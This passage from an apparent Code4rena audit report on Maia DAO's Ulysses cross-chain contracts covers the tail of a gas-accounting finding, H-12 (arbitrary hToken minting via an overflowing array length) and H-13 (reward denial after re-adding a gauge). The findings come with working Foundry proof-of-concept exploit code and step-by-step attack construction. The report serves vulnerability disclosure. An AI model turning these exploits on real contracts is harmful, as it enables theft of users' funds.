address attacker = address(0xEEAA);
hevm.deal(attacker, 1 ether);
// Mint 1 ether of the avax mock underlying token
hevm.prank(address(avaxPort));
MockERC20(address(avaxMockAssetToken)).mint(attacker, 1 ether);
// Attacker approves the underlying token
hevm.prank(attacker);
MockERC20(address(avaxMockAssetToken)).approve(address(avaxPort), 1 ether);
// Print out the amounts of WrappedNative & AccumulateAwards state
console2.log("RootBridge WrappedNative START",WETH9(arbitrumWrappedNativeToken).balanceOf(address(multicallBridgeAgent)));
console2.log("RootBridge ACCUMULATED FEES START", multicallBridgeAgent.accumulatedFees());
// Attacker's underlying avax mock token balance
console2.log("Attacker underlying token balance avax", avaxMockAssetToken.balanceOf(attacker));
// Prepare a single deposit with remote gas that will cause the remote exec from the root to branch to fail
// We will have to mock this fail since we don't have the MultiChain contracts, but the provided
// Mock Anycall has anticipated for that
DepositInput memory deposit = _prepareDeposit();
uint128 remoteExecutionGas = 2_000_000_000;
Multicall2.Call[] memory calls = new Multicall2.Call[](0);
OutputParams memory outputParams = OutputParams(attacker, globalAddress, 500, 500);
bytes memory params = abi.encodePacked(bytes1(0x02),abi.encode(calls, outputParams, avaxChainId));
console2.log("ATTACKER ETHER BALANCE START", attacker.balance);
// Toggle anyCall for 1 call (Bridge -> Root), this config won't do the 2nd anyCall
// Root -> Bridge (this is how we mock BridgeAgent reverting due to insufficient remote gas)
MockAnycall(local`AnyCall`Address).toggleFallback(1);
// execute
hevm.prank(attacker);
// in reality we need 0.00000002 (supply a bit more to make sure we don't fail execution on the root)
avaxMulticallBridgeAgent.callOutSignedAndBridge{value: 0.00000005 ether }(params, deposit, remoteExecutionGas);
// Switch to normal mode
MockAnycall(local`AnyCall`Address).toggleFallback(0);
// this will call anyFallback() on the Root and Fail the settlement
MockAnycall(local`AnyCall`Address).testFallback();
// Repeat for 1 more settlement
MockAnycall(local`AnyCall`Address).toggleFallback(1);
hevm.prank(attacker);
avaxMulticallBridgeAgent.callOutSignedAndBridge{value: 0.00000005 ether}(params, deposit, remoteExecutionGas);
MockAnycall(local`AnyCall`Address).toggleFallback(0);
MockAnycall(local`AnyCall`Address).testFallback();
// Print out the amounts of WrappedNative & AccumulateAwards state after failing the settlements but before the attack
console2.log("RootBridge WrappedNative AFTER SETTLEMENTS FAILURE BUT BEFORE ATTACK",WETH9(arbitrumWrappedNativeToken).balanceOf(address(multicallBridgeAgent)));
console2.log("RootBridge ACCUMULATED FEES AFTER SETTLEMENTS FAILURE BUT BEFORE ATTACK", multicallBridgeAgent.accumulatedFees());
// Encode 2 calls to retrySettlement(), we can use 0 remoteGas arg since
// initialGas > 0 because we execute the calls as a part of an anyExecute()
Multicall2.Call[] memory malicious_calls = new Multicall2.Call[](2);
bytes4 selector = bytes4(keccak256("retrySettlement(uint32,uint128)"));
malicious_calls[0] = Multicall2.Call({target: address(multicallBridgeAgent), callData:abi.encodeWithSelector(selector,1,0)});
malicious_calls[1] = Multicall2.Call({target: address(multicallBridgeAgent), callData:abi.encodeWithSelector(selector,2,0)});
// malicious_calls[2] = Multicall2.Call({target: address(multicallBridgeAgent), callData:abi.encodeWithSelector(selector,3,0)});
outputParams = OutputParams(attacker, globalAddress, 500, 500);
params = abi.encodePacked(bytes1(0x02),abi.encode(malicious_calls, outputParams, avaxChainId));
// At this point root now has ~1.1
hevm.prank(attacker);
avaxMulticallBridgeAgent.callOutSignedAndBridge{value: 0.1 ether}(params, deposit, 0.09 ether);
// get attacker's virtual account address
address vaccount = address(rootPort.getUserAccount(attacker));
console2.log("ATTACKER underlying balance avax", avaxMockAssetToken.balanceOf(attacker));
console2.log("ATTACKER global avax h token balance root", ERC20hTokenRoot(globalAddress).balanceOf(vaccount));
console2.log("ATTACKER ETHER BALANCE END", attacker.balance);
console2.log("RootBridge WrappedNative END",WETH9(arbitrumWrappedNativeToken).balanceOf(address(multicallBridgeAgent)));
console2.log("RootBridge ACCUMULATED FEES END", multicallBridgeAgent.accumulatedFees());
console2.log("---------------------------------------------------------");
console2.log("-------------------- GAS ISSUE END ----------------------");
console2.log("---------------------------------------------------------");
}
function _prepareDeposit() internal returns(DepositInput memory) {
// hToken address
address addr1 = avaxMockAssethToken;
// underlying address
address addr2 = address(avaxMockAssetToken);
uint256 amount1 = 500;
uint256 amount2 = 500;
uint24 toChain = rootChainId;
return DepositInput({
hToken:addr1,
token:addr2,
amount:amount1,
deposit:amount2,
toChain:toChain
});
}
Recommendation
It is hard to conclude a particular fix, but consider setting userFeeInfo.gasToBridgeOut = 0
after retrySettlement
as part of the mitigation.
Assessed type
Context
0xBugsy (Maia) confirmed, but disagreed with severity and commented:
The fix recommended for this issue was saving the available gas and clearing the
gasToBridgeOut
after eachmanageGasOut
in order to avoid this double spending and using available gas inpayExecutionGas
.
Loss of yield = loss of funds. High impact from my perspective.
We recognize the audit’s findings on Anycall Gas Management. These will not be rectified due to the upcoming migration of this section to LayerZero.
[H-12] An attacker can mint an arbitrary amount of hToken
on RootChain
Submitted by Voyvoda
Lines of code
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchBridgeAgent.sol#L275-L316
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L860-L1174
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgentExecutor.sol#L259-L299
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L404-L426
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootPort.sol#L276-L284
Impact
An adversary can construct an attack vector that let’s them mint an arbitrary amount of hToken’s on the RootChain
.
Proof of Concept
Note: An end-to-end coded PoC is at the end of PoC section.
Background
The attack will start on a Branch Chain where we have some underlying ERC20 token
and a corresponding hToken
that represents token
within the omnichain system. The callOutSignedAndBridgeMultiple(...)
function is supposed to bridge multiple tokens to a destination chain and also carry the msg.sender
so that the tokens can be credited to msg.sender
’s VirtualAccount
. The attacker will call the function with DepositMultipleInputParams
_dParams
that take advantage of several weaknesses contained within the function.
Below is an overview of the DepositMultipleInput
struct and flow diagram of BranchBridgeAgent
:
struct DepositMultipleInput {
//Deposit Info
address[] hTokens; //Input Local hTokens Address.
address[] tokens; //Input Native / underlying Token Address.
uint256[] amounts; //Amount of Local hTokens deposited for interaction.
uint256[] deposits; //Amount of native tokens deposited for interaction.
uint24 toChain; //Destination chain for interaction.
}
flowchart TB
A["callOutSignedAndBridgeMultiple(,DepositMultipleInput memory _dParams,)"]
-->|1 |B["_depositAndCallMultiple(...)"]
B --> |2| C["_createDepositMultiple(...)"]
B --> |4| D["__performCall(_data)"]
C --> |3| E["IPort(address).bridgeOutMultiple(...)"]
Weakness #1 is that the supplied array of tokens address[] hTokens
in _dParams
is not checked if it exceeds 256. This causes an obvious issue where if hTokens
length is >
256, the recorded length in packedData
will be wrong since it’s using an unsafe cast to uint8
and will overflow: uint8(_dParams.hTokens.length)
.
function callOutSignedAndBridgeMultiple(
bytes calldata _params,
DepositMultipleInput memory _dParams,
uint128 _remoteExecutionGas
) external payable lock requiresFallbackGas {
// code ...
//Encode Data for cross-chain call.
bytes memory packedData = abi.encodePacked(
bytes1(0x06),
msg.sender,
uint8(_dParams.hTokens.length),
depositNonce,
_dParams.hTokens,
_dParams.tokens,
_dParams.amounts,
_deposits,
_dParams.toChain,
_params,
msg.value.toUint128(),
_remoteExecutionGas
);
// code ...
_depositAndCallMultiple(...);
}
Weakness #2 arises in the subsequent internal function _depositAndCallMultiple(...)
, where the only check performed on the supplied hTokens
, tokens
, amounts
and deposits
arrays is if the lengths match; however, there is no check if the length is the same as the one passed earlier to packedData
.
function _depositAndCallMultiple(
address _depositor,
bytes memory _data,
address[] memory _hTokens,
address[] memory _tokens,
uint256[] memory _amounts,
uint256[] memory _deposits,
uint128 _gasToBridgeOut
) internal {
//Validate Input
if (
_hTokens.length != _tokens.length || _tokens.length != _amounts.length
|| _amounts.length != _deposits.length
) revert InvalidInput();
//Deposit and Store Info
_createDepositMultiple(_depositor, _hTokens, _tokens, _amounts, _deposits, _gasToBridgeOut);
//Perform Call
_performCall(_data);
}
Lastly, weakness #3 is that bridgeOutMultiple(...)
, called within _createDepositMultiple(...)
, allows for supplying any address in the hTokens
array since it only performs operations on these addresses if _deposits[i] > 0
or _amounts[i] - _deposits[i] > 0
. In other words, if we set deposits[i] = 0
and amounts[i] = 0
, we can supply ANY address in hTokens[i]
.
function bridgeOutMultiple(
address _depositor,
address[] memory _localAddresses,
address[] memory _underlyingAddresses,
uint256[] memory _amounts,
uint256[] memory _deposits
) external virtual requiresBridgeAgent {
for (uint256 i = 0; i < _localAddresses.length;) {
if (_deposits[i] > 0) {
_underlyingAddresses[i].safeTransferFrom(
_depositor,
address(this),
_denormalizeDecimals(_deposits[i], ERC20(_underlyingAddresses[i]).decimals())
);
}
if (_amounts[i] - _deposits[i] > 0) {
_localAddresses[i].safeTransferFrom(_depositor, address(this), _amounts[i] - _deposits[i]);
ERC20hTokenBranch(_localAddresses[i]).burn(_amounts[i] - _deposits[i]);
}
unchecked {
i++;
}
}
}
Supplying the attack vector
The attacker will construct DepositMultipleInput _dParams
where address[] hTokens
will have a length of 257 where all entries, except hTokens[1]
, hTokens[2]
and hTokens[3]
, will contain the Branch address of the same hToken
. Note that, in the examined functions above, there is no restriction to supply the same hToken
address multiple times.
In a similar way, address[] tokens
will have a length of 257; however, here all entries will contain the underlying token
. It is crucial to include the address of the underlying token
to bypass _normalizeDecimals
.
Next uint256[] amounts
will be of length 257, where all entries will contain 0. Similarly, uint256[] deposits
will be of length 257, where all entries will contain 0. In such configuration, the attacker is able to supply a malicious hToken
address as per weakness #3.
The crucial part now, is that hTokens[1]
will contain the address of the underlying token
. This is needed to later bypass the params check on the RootChain
.
hTokens[2] & hTokens[3]
will contain the attacker’s malicious payload address, which when converted to bytes and then uint256
, will represent the arbitrary amount of tokens that the attacker will mint (this conversion will happen on the RootChain
).
This is how the attack vector looks expressed in code:
// hToken address, note the "h" in the var name
address addr1 = avaxMockAssethToken;
// underlying address
address addr2 = address(avaxMockAssetToken);
// 0x2FAF0800 when packed to bytes and then cast to uint256 = 800000000
// this amount will be minted on Root
address malicious_address = address(0x2FAF0800);
uint256 amount1 = 0;
uint256 amount2 = 0;
uint num = 257;
address[] memory htokens = new address[](num);
address[] memory tokens = new address[](num);
uint256[] memory amounts = new uint256[](num);
uint256[] memory deposits = new uint256[](num);
for(uint i=0; i<num; i++) {
htokens[i] = addr1;
tokens[i] = addr2;
amounts[i] = amount1;
deposits[i] = amount2;
}
// address of the underlying token
htokens[1] = addr2;
// copy of entry containing the arbitrary number of tokens
htokens[2] = malicious_address;
// entry containing the arbitrary number of tokens -> this one will be actually fed to mint on Root
htokens[3] = malicious_address;
uint24 toChain = rootChainId;
// create input
DepositMultipleInput memory input = DepositMultipleInput({
hTokens:htokens,
tokens:tokens,
amounts:amounts,
deposits:deposits,
toChain:toChain
});
Essentially, what happens now is the attacker has packedData
that contains 257 hTokens
, tokens
, amounts
and deposits
; however, due to weakness #1 the recorded length is 1 and due to weaknesses #2 and #3, this construction of the input will reach _peformCal(data)
. The mismatch between the number of entries and the actual number of supplied entries will cause malicious behavior on the RootChain
.
bytes memory packedData = abi.encodePacked(
bytes1(0x06),
msg.sender,
uint8(_dParams.hTokens.length),
depositNonce,
_dParams.hTokens,
_dParams.tokens,
_dParams.amounts,
_deposits,
_dParams.toChain,
_params,
msg.value.toUint128(),
_remoteExecutionGas
);
The attack vector is in line with the general encoding scheme displayed below. The important note is that “Length” will contain a value of 1 instead of 257, which will disrupt the decoding on the RootBranch
. More details about the encoding can be found in IRootBridgeAgent.sol
.
+--------+----------+--------+--------------+---------------------------+---------------------+----------------------+-----------------------+---------+------+----------+
| Flag | Signer | Length | depositNonce | hTokens[0], [1] ... [256] | tokens[0] ... [256] | amounts[0] ... [256] | deposits[0] ... [256] | toChain | data | gas |
+--------+----------+--------+--------------+---------------------------+---------------------+----------------------+-----------------------+---------+------+----------+
| 1 byte | 20 bytes | 1 byte | 4 bytes | 32 bytes * 257 | 32 bytes * 257 | 32 bytes * 257 | 32 bytes * 257 | 3 bytes | any | 32 bytes |
+--------+----------+--------+--------------+---------------------------+---------------------+----------------------+-----------------------+---------+------+----------+
RootBranch
receives the attack vector
The entry point for a message on the RootChain
is anyExecute(bytes calldata data)
in RootBridgeAgent.sol
. This will be called by the Multichain
’s AnycallExecutor
. The function will unpack and navigate the supplied flag 0x06
, corresponding to callOutSignedAndBridgeMultiple(...)
that was invoked on the Branch Chain.
Next, executeSignedWithDepositMultiple(...)
will be invoked residing in RootBridgeAgentExecutor.sol
, which will subsequently call _bridgeInMultiple(...)
; however, the amount of data passed to _bridgeInMultiple(...)
depends on the packed length of the hTokens
array:
function executeSignedWithDepositMultiple(
address _account,
address _router,
bytes calldata _data,
uint24 _fromChainId
) external onlyOwner returns (bool success, bytes memory result) {
//Bridge In Assets
DepositMultipleParams memory dParams = _bridgeInMultiple(
_account,
_data[
PARAMS_START_SIGNED:
PARAMS_END_SIGNED_OFFSET
+ uint16(uint8(bytes1(_data[PARAMS_START_SIGNED]))) * PARAMS_TKN_SET_SIZE_MULTIPLE
],
_fromChainId
);
// more code ...
If we examine closer, the constants and check with the encoding scheme:
PARAMS_START_SIGNED
= 21PARAMS_END_SIGNED_OFFSET
= 29PARAMS_TKN_SET_SIZE_MULTIPLE
= 128
Here, the intended behavior is that _data
is sliced in such a way that it removes the flag bytes1(0x06)
and the msg.sender
address. Hence, we start at byte21 - we have 29 to account for the bytes4(nonce)
, bytes3(chainId)
and bytes1(length)
for a total of 8 bytes. But remember that byte slicing is exclusive of the second byte index + uint16(length) * 128
for every set of htoken
, token
, amount
and deposit
. What will happen in the attack case is that _data
will be cut short since the length will be 1 instead of 257 and _data
will contain length, nonce, chainId and the first 4 entries of the constructed hTokens[]
array.
Now, _bridgeInMultiple
will unpack the _dParams
where numOfAssets = 1
; hence, only 1 iteration, and will populate a set with in reality the first 4 entries of the supplied hTokens[]
in the attack vector:
hTokens[0] = hToken address
tokens[0] = token address
amounts[0] = malicious address payload cast to uint256
deposits[0] = malicious address payload cast to uint256
function _bridgeInMultiple(address _recipient, bytes calldata _dParams, uint24 _fromChain)
internal
returns (DepositMultipleParams memory dParams)
{
// Parse Parameters
uint8 numOfAssets = uint8(bytes1(_dParams[0]));
uint32 nonce = uint32(bytes4(_dParams[PARAMS_START:5]));
uint24 toChain = uint24(bytes3(_dParams[_dParams.length - 3:_dParams.length]));
address[] memory hTokens = new address[](numOfAssets);
address[] memory tokens = new address[](numOfAssets);
uint256[] memory amounts = new uint256[](numOfAssets);
uint256[] memory deposits = new uint256[](numOfAssets);
for (uint256 i = 0; i < uint256(uint8(numOfAssets));) {
//Parse Params
hTokens[i] = address(
uint160(
bytes20(
bytes32(
_dParams[
PARAMS_TKN_START + (PARAMS_ENTRY_SIZE * i) + 12:
PARAMS_TKN_START + (PARAMS_ENTRY_SIZE * (PARAMS_START + i))
]
)
)
)
);
tokens[i] = address(
uint160(
bytes20(
_dParams[
PARAMS_TKN_START + PARAMS_ENTRY_SIZE * uint16(i + numOfAssets) + 12:
PARAMS_TKN_START + PARAMS_ENTRY_SIZE * uint16(PARAMS_START + i + numOfAssets)
]
)
)
);
amounts[i] = uint256(
bytes32(
_dParams[
PARAMS_TKN_START + PARAMS_AMT_OFFSET * uint16(numOfAssets) + (PARAMS_ENTRY_SIZE * uint16(i)):
PARAMS_TKN_START + PARAMS_AMT_OFFSET * uint16(numOfAssets)
+ PARAMS_ENTRY_SIZE * uint16(PARAMS_START + i)
]
)
);
deposits[i] = uint256(
bytes32(
_dParams[
PARAMS_TKN_START + PARAMS_DEPOSIT_OFFSET * uint16(numOfAssets) + (PARAMS_ENTRY_SIZE * uint16(i)):
PARAMS_TKN_START + PARAMS_DEPOSIT_OFFSET * uint16(numOfAssets)
+ PARAMS_ENTRY_SIZE * uint16(PARAMS_START + i)
]
)
);
unchecked {
++i;
}
}
//Save Deposit Multiple Params
dParams = DepositMultipleParams({
numberOfAssets: numOfAssets,
depositNonce: nonce,
hTokens: hTokens,
tokens: tokens,
amounts: amounts,
deposits: deposits,
toChain: toChain
});
RootBridgeAgent(payable(msg.sender)).bridgeInMultiple(_recipient, dParams, _fromChain);
}
Subsequently, bridgeInMultiple(...)
is called in RootBridgeAgent.sol
, where bridgeIn(...)
is called for every set of hToken
, token
, amount
and deposit
; one iteration in the attack scenario.
Function bridgeIn(...)
now performs the critical checkParams
from the CheckParamsLib
library where if only 1 of 3 conditions is true
, we will have a revert.
The first check is reverted if _dParams.amount < _dParams.deposit
. This is “false” since amount
and deposit
are equal to the uint256
cast of the bytes
packing of the malicious address payload.
The second check is:
(_dParams.amount > 0 && !IPort(_localPortAddress).isLocalToken(_dParams.hToken, _fromChain))
Here, it’s true amount > 0
; however, _dParams.hToken
is the first entry hTokens[0]
of the attack vector’s hTokens[]
array. Therefore, it is a valid address and isLocalToken(...)
will return “true” and will be negated by !
, which will make the statement “false” because of &&
. Therefore, it is bypassed.
The third check is:
(_dParams.deposit > 0 && !IPort(_localPortAddress).isUnderlyingToken(_dParams.token, _fromChain))
Here, it’s true deposit > 0
; however, _dParams.token
is the second entry hTokens[1]
of the attack vector’s hTokens[]
array. Therefore, it is a valid underlying address and isUnderlyingToken(...)
will return “true” and will be negated by !
, which will make the statement “false” because of &&
. Therefore, it is bypassed.
Entire function checkParams(...)
:
function checkParams(address _localPortAddress, DepositParams memory _dParams, uint24 _fromChain)
internal
view
returns (bool)
{
if (
(_dParams.amount < _dParams.deposit) //Deposit can't be greater than amount.
|| (_dParams.amount > 0 && !IPort(_localPortAddress).isLocalToken(_dParams.hToken, _fromChain)) //Check local exists.
|| (_dParams.deposit > 0 && !IPort(_localPortAddress).isUnderlyingToken(_dParams.token, _fromChain)) //Check underlying exists.
) {
return false;
}
return true;
}
Now, back to bridgeIn(...)
in RootBridgeAgent
, we get the globalAddress
for _dParams.hToken
(again this is the valid hToken[0]
address from Branch Chain) and bridgeToRoot(...)
is called that resides in RootPort.sol
.
//Get global address
address globalAddress = IPort(localPortAddress).getGlobalTokenFromLocal(_dParams.hToken, _fromChain);
//Check if valid asset
if (globalAddress == address(0)) revert InvalidInputParams();
//Move hTokens from Branch to Root + Mint Sufficient hTokens to match new port deposit
IPort(localPortAddress).bridgeToRoot(_recipient, globalAddress, _dParams.amount, _dParams.deposit, _fromChain);
The function bridgeToRoot(...)
will check if the globalAddress
is valid and it is since we got it from the valid hTokens[0]
entry in the constructed attack. Then, _amount - _deposit = 0
; therefore, no tokens will be transferred and finally, the critical line if (_deposit > 0) mint(_recipient, _hToken, _deposit, _fromChainId)
. Here, _deposit
is the malicious address payload that was packed to bytes and then unpacked and cast to uint256
. Then, _hToken
is the global address that we got from hTokens[0]
back in the unpacking. Therefore, whatever the value of the uint256
representation of the malicious address is will be minted to the attacker.
Coded PoC
Copy the two functions testArbitraryMint
and _prepareAttackVector
in test/ulysses-omnichain/RootTest.t.sol
and place them in the RootTest
contract after the setup.
Execute with forge test --match-test testArbitraryMint -vv
The result is 800000000
in minted tokens for free in the attacker’s VirtualAccount
.
function testArbitraryMint() public {
// setup function used by developers to add local/global tokens in the system
testAddLocalTokenArbitrum();
// set attacker address & mint 1 ether to cover gas cost
address attacker = address(0xAAAA);
hevm.deal(attacker, 1 ether);
// get avaxMockAssetHtoken global address that's on the Root
address globalAddress = rootPort.getGlobalTokenFromLocal(avaxMockAssethToken, avaxChainId);
// prepare attack vector
bytes memory params = "";
DepositMultipleInput memory dParams = _prepareAttackVector();
uint128 remoteExecutionGas = 200_000_000_0;
console2.log("------------------");
console2.log("------------------");
console2.log("ARBITRARY MINT LOG");
console2.log("Attacker address", attacker);
console2.log("Avax h token address",avaxMockAssethToken);
console2.log("Avax underlying address", address(avaxMockAssetToken));
console2.log("Attacker h token balance", ERC20hTokenBranch(avaxMockAssethToken).balanceOf(attacker));
console2.log("Attacker underlying balance", avaxMockAssetToken.balanceOf(attacker));
// execute attack
hevm.prank(attacker);
avaxMulticallBridgeAgent.callOutSignedAndBridgeMultiple{value: 0.00005 ether}(params, dParams, remoteExecutionGas);
// get attacker's virtual account address
address vaccount = address(rootPort.getUserAccount(attacker));
console2.log("Attacker h token balance avax", ERC20hTokenBranch(avaxMockAssethToken).balanceOf(attacker));
console2.log("Attacker underlying balance avax", avaxMockAssetToken.balanceOf(attacker));
console2.log("Attacker h token balance root", ERC20hTokenRoot(globalAddress).balanceOf(vaccount));
console2.log("ARBITRARY MINT LOG END");
console2.log("------------------");
}
function _prepareAttackVector() internal view returns(DepositMultipleInput memory) {
// hToken address
address addr1 = avaxMockAssethToken;
// underlying address
address addr2 = address(avaxMockAssetToken);
// 0x2FAF0800 when encoded to bytes and then cast to uint256 = 800000000
address malicious_address = address(0x2FAF0800);
uint256 amount1 = 0;
uint256 amount2 = 0;
uint num = 257;
address[] memory htokens = new address[](num);
address[] memory tokens = new address[](num);
uint256[] memory amounts = new uint256[](num);
uint256[] memory deposits = new uint256[](num);
for(uint i=0; i<num; i++) {
htokens[i] = addr1;
tokens[i] = addr2;
amounts[i] = amount1;
deposits[i] = amount2;
}
// address of the underlying token
htokens[1] = addr2;
// copy of entry containing the arbitrary number of tokens
htokens[2] = malicious_address;
// entry containing the arbitrary number of tokens -> this one will be actually fed to mint on Root
htokens[3] = malicious_address;
uint24 toChain = rootChainId;
// create input
DepositMultipleInput memory input = DepositMultipleInput({
hTokens:htokens,
tokens:tokens,
amounts:amounts,
deposits:deposits,
toChain:toChain
});
return input;
}
Recommendation
Enforce stricter checks around input param validation on bridging multiple tokens.
Assessed type
Invalid Validation
0xBugsy (Maia) confirmed and commented:
The maximum 256 length should be enforced so the encoded
N(length)
value is truthful. In addition,CheckParams
should check if the underlying token matches thehToken
instead of only checking if it’s an underlying token in the system.
Addressed here.
[H-13] Re-adding a deprecated gauge in a new epoch before calling updatePeriod()
/queueRewardsForCycle()
will leave some gauges without rewards
Submitted by Voyvoda
Lines of code
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/erc-20/ERC20Gauges.sol#L174-L181
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/erc-20/ERC20Gauges.sol#L407-L422
https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/rewards/rewards/FlywheelGaugeRewards.sol#L72-L104
Impact
One or more gauges will remain without rewards. A malicious user can DOS a selected gauge from receiving rewards.
Proof of Concept
When a gauge is deprecated, its weight is subtracted from totalWeight
; however, the weight of the gauge itself could remain different from 0 (it’s up to the users to remove their votes). That’s reflected in _addGauge()
.
function _addGauge(address gauge) internal returns (uint112 weight) {
// some code ...
// Check if some previous weight exists and re-add to the total. Gauge and user weights are preserved.
weight = _getGaugeWeight[gauge].currentWeight;
if (weight > 0) {
_writeGaugeWeight(_totalWeight, _add112, weight, currentCycle);
}
emit AddGauge(gauge);
}
When addGauge(...)
is invoked to re-add a gauge that was previously deprecated and still contains votes, _writeGaugeWeight(...)
is called to add the gauge’s weight to totalWeight
. When the write operation to totalWeight
is performed during a new cycle, but before updatePeriod
or queueRewardsForCycle()
are called, we will have:
totalWeight.storedWeight = currentWeight
(the weight before the update),totalWeight.currentWeight = newWeight
(the new weight) andtotalWeight.currentCycle = cycle
(the updated new cycle).
The problem is, that when now queueRewardsForCycle()
is called and subsequently in the call chain calculateGaugeAllocation(...)
is called (which in turn will request the totalWeight
through _getStoredWeight(_totalWeight, currentCycle)
), we will read the old totalWeight
(i.e. totalWeight.storedWeight
) because totalWeight.currentCycle < currentCycle
is false, as the cycle was already updated during the addGauge(...)
call.
function _getStoredWeight(Weight storage gaugeWeight, uint32 currentCycle) internal view returns (uint112) {
return gaugeWeight.currentCycle < currentCycle ? gaugeWeight.currentWeight : gaugeWeight.storedWeight;
}
This will now cause a wrong calculation of the rewards since we have 1 extra gauge, but the value of totalWeight
is less than what it is in reality. Therefore, the sum of the rewards among the gauges for the cycle will be more than the total sum allocated by the minter. In other words, the function in the code snippet below will be called for every gauge, including the re-added, but total
is less than what it has to be.
function calculateGaugeAllocation(address gauge, uint256 quantity) external view returns (uint256) {
if (_deprecatedGauges.contains(gauge)) return 0;
uint32 currentCycle = _getGaugeCycleEnd();
uint112 total = _getStoredWeight(_totalWeight, currentCycle);
uint112 weight = _getStoredWeight(_getGaugeWeight[gauge], currentCycle);
return (quantity * weight) / total;
}
This can now cause several areas of concern.
First, in the presented scenario where a gauge is re-added with weight > 0 beforequeueRewardsForCycle(...)
, the last gauge (or perhaps the last few gauges, depending on the distribution of weight) among the active gauges that calls getAccruedRewards()
won’t receive awards since there will be less rewards than what’s recorded in the gauge state.
Second, in a scenario where we might have several gauges is with a “whale” gauge that holds a majority of votes and therefore, will have a large amount of rewards. A malicious actor can monitor for when a gauge is re-added and front run getAccruedRewards()
(potentially through newEpoch()
in BaseV2Gauge
) for all gauges, except the “whale” and achieving a DOS where the “whale” gauge won’t receive the rewards for the epoch. Therefore, the reputation of it will be damaged. This can be done for any gauge, but will have a more significant impact in the case where a lot of voters are denied their awards.
Coded PoC
Scenario 1
Initially, there are 2 gauges with 75%/25% split of the votes. The gauge with 25% of the votes is removed for 1 cycle and then re-added during a new cycle but before queuing of the rewards. The 25% gauge withdraws its rewards and the 75% gauge is bricked and can’t withdraw rewards.
Copy the functions testInitialGauge
& testDeprecatedAddedGauge
and helper_gauge_state
in /test/rewards/rewards/FlywheelGaugeRewardsTest.t.sol
.
Add import "lib/forge-std/src/console.sol";
to the imports.
Execute with forge test --match-test testDeprecatedAddedGauge -vv
.
Result: gauge 2 will revert after trying to collect rewards after the 3rd cycle, since gauge 1 was re-added before queuing rewards.
function testInitialGauge() public {
uint256 amount_rewards;
// rewards is 100e18
// add 2 gauges, 25%/75% split
gaugeToken.addGauge(gauge1);
gaugeToken.addGauge(gauge2);
gaugeToken.incrementGauge(gauge1, 1e18);
gaugeToken.incrementGauge(gauge2, 3e18);
console.log("--------------Initial gauge state--------------");
helper_gauge_state();
// do one normal cycle of rewards
hevm.warp(block.timestamp + 1000);
amount_rewards = rewards.queueRewardsForCycle();
console.log("--------------After 1st queueRewardsForCycle state--------------");
console.log('nextCycleQueuedRewards', amount_rewards);
helper_gauge_state();
// collect awards
hevm.prank(gauge1);
rewards.getAccruedRewards();
hevm.prank(gauge2);
rewards.getAccruedRewards();
console.log("--------------After getAccruedRewards state--------------");
helper_gauge_state();
}
function testDeprecatedAddedGauge() public {
uint256 amount_rewards;
// setup + 1 normal cycle
testInitialGauge();
// remove gauge
gaugeToken.removeGauge(gauge1);
// do one more normal cycle with only 1 gauge
hevm.warp(block.timestamp + 1000);
amount_rewards = rewards.queueRewardsForCycle();
console.log("--------------After 2nd queueRewardsForCycle state--------------");
console.log('nextCycleQueuedRewards', amount_rewards);
// examine state
helper_gauge_state();
hevm.prank(gauge2);
rewards.getAccruedRewards();
console.log("--------------After getAccruedRewards state--------------");
// examine state
helper_gauge_state();
// A new epoch can start for 1 more cycle
hevm.warp(block.timestamp + 1000);
// Add the gauge back, but before rewards are queued
gaugeToken.addGauge(gauge1);
amount_rewards = rewards.queueRewardsForCycle();
console.log("--------------After 3rd queueRewardsForCycle state--------------");
// examine state
console.log('nextCycleQueuedRewards', amount_rewards);
helper_gauge_state();
// this is fine
hevm.prank(gauge1);
rewards.getAccruedRewards();
// this reverts
hevm.prank(gauge2);
rewards.getAccruedRewards();
console.log("--------------After getAccruedRewards state--------------");
// examine state
helper_gauge_state();
}
function helper_gauge_state() public view {
console.log('FlywheelRewards balance', rewardToken.balanceOf(address(rewards)));
console.log('gaugeCycle', rewards.gaugeCycle());
address[] memory gs = gaugeToken.gauges();
for(uint i=0; i<gs.length; i++) {
console.log('-------------');
(uint112 prior1, uint112 stored1, uint32 cycle1) = rewards.gaugeQueuedRewards(ERC20(gs[i]));
console.log("Gauge ",i+1);
console.log("priorRewards",prior1);
console.log("cycleRewards",stored1);
console.log("storedCycle",cycle1);
}
console.log('-------------');
}
Scenario 2
Initially, there are 4 gauges with (2e18 | 2e18 | 6e18 | 4e18) votes respectively. The gauge with 4e18 votes is removed for 1 cycle and then re-added during a new cycle but before queuing of the rewards. The 6e18 gauge withdraws its rewards and the 4e18 gauge withdraws its rewards. The two gauges with 2e18 votes are bricked and can’t withdraw rewards.
Copy the functions testInitialGauge2
, testDeprecatedAddedGauge2
and helper_gauge_state
in /test/rewards/rewards/FlywheelGaugeRewardsTest.t.sol
.
Execute with forge test --match-test testDeprecatedAddedGauge2 -vv
.
Result: the 2 gauges with 2e18 votes will revert after trying to collect rewards.
function testInitialGauge2() public {
uint256 amount_rewards;
// rewards is 100e18
// add 4 gauges, 2x/2x/6x/4x split
gaugeToken.addGauge(gauge1);
gaugeToken.addGauge(gauge2);
gaugeToken.addGauge(gauge3);
gaugeToken.addGauge(gauge4);
gaugeToken.incrementGauge(gauge1, 2e18);
gaugeToken.incrementGauge(gauge2, 2e18);
gaugeToken.incrementGauge(gauge3, 6e18);
gaugeToken.incrementGauge(gauge4, 4e18);
console.log("--------------Initial gauge state--------------");
helper_gauge_state();
// do one normal cycle of rewards
hevm.warp(block.timestamp + 1000);
amount_rewards = rewards.queueRewardsForCycle();
console.log("--------------After 1st queueRewardsForCycle state--------------");
console.log('nextCycleQueuedRewards', amount_rewards);
